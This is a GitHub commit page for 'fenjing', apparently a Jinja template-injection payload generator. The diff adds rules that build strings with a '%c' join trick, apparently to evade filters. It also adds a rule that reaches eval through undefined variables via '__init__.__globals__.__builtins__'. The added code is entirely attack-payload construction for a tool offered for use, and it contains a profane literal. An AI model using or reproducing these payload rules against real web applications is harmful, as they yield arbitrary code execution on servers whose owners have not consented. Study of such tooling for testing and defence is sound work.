Skip to content

Commit

Permalink
Add rules
Browse files Browse the repository at this point in the history
  • Loading branch information
Marven11 committed Nov 26, 2023
1 parent 2b0a0b0 commit 34cc89d
Showing 1 changed file with 33 additions and 0 deletions.
33 changes: 33 additions & 0 deletions fenjing/payload_gen.py
Original file line number Diff line number Diff line change
Expand Up @@ -18,6 +18,8 @@
import logging
import sys
import math
import random
import string

from collections import defaultdict
from typing import (
Expand Down Expand Up @@ -1672,6 +1674,17 @@ def gen_string_many_percent_lower_c_nulljoin(context, count: int):
)
return [(EXPRESSION, precedence["filter"], target_list)]

@expression_gen
def gen_string_many_percent_lower_c_nulljoin2(context, count: int):
# ((x,x,x)|join('%c'))
target_list = (
[
(LITERAL, "("),
]
+ [(LITERAL, "x,") for _ in range(count + 1)]
+ [(LITERAL, ")|join("), (STRING_PERCENT_LOWER_C,), (LITERAL, ",)")]
)
return [(EXPRESSION, precedence["filter"], target_list)]

@expression_gen
def gen_string_many_percent_lower_c_concat(context, count: int):
Expand Down Expand Up @@ -2694,6 +2707,26 @@ def gen_eval_func_lipsum(context):
]


@expression_gen
def gen_eval_func_unexist(context):
unexist = [
[(LITERAL, "x")],
[(LITERAL, "unexistfuckyou")],
] + [
[(LITERAL, "".join(random.choices(string.ascii_lowercase, k = 6)))]
for _ in range(20)
]
return [
(
CHAINED_ATTRIBUTE_ITEM,
(EXPRESSION, precedence["literal"], [(ONEOF, *unexist)]),
(ATTRIBUTE, "__init__"),
(ATTRIBUTE, "__globals__"),
(ITEM, "__builtins__"),
(ITEM, "eval"),
)
]

@expression_gen
def gen_eval_func_joiner(context):
return [
Expand Down

0 comments on commit 34cc89d

Please sign in to comment.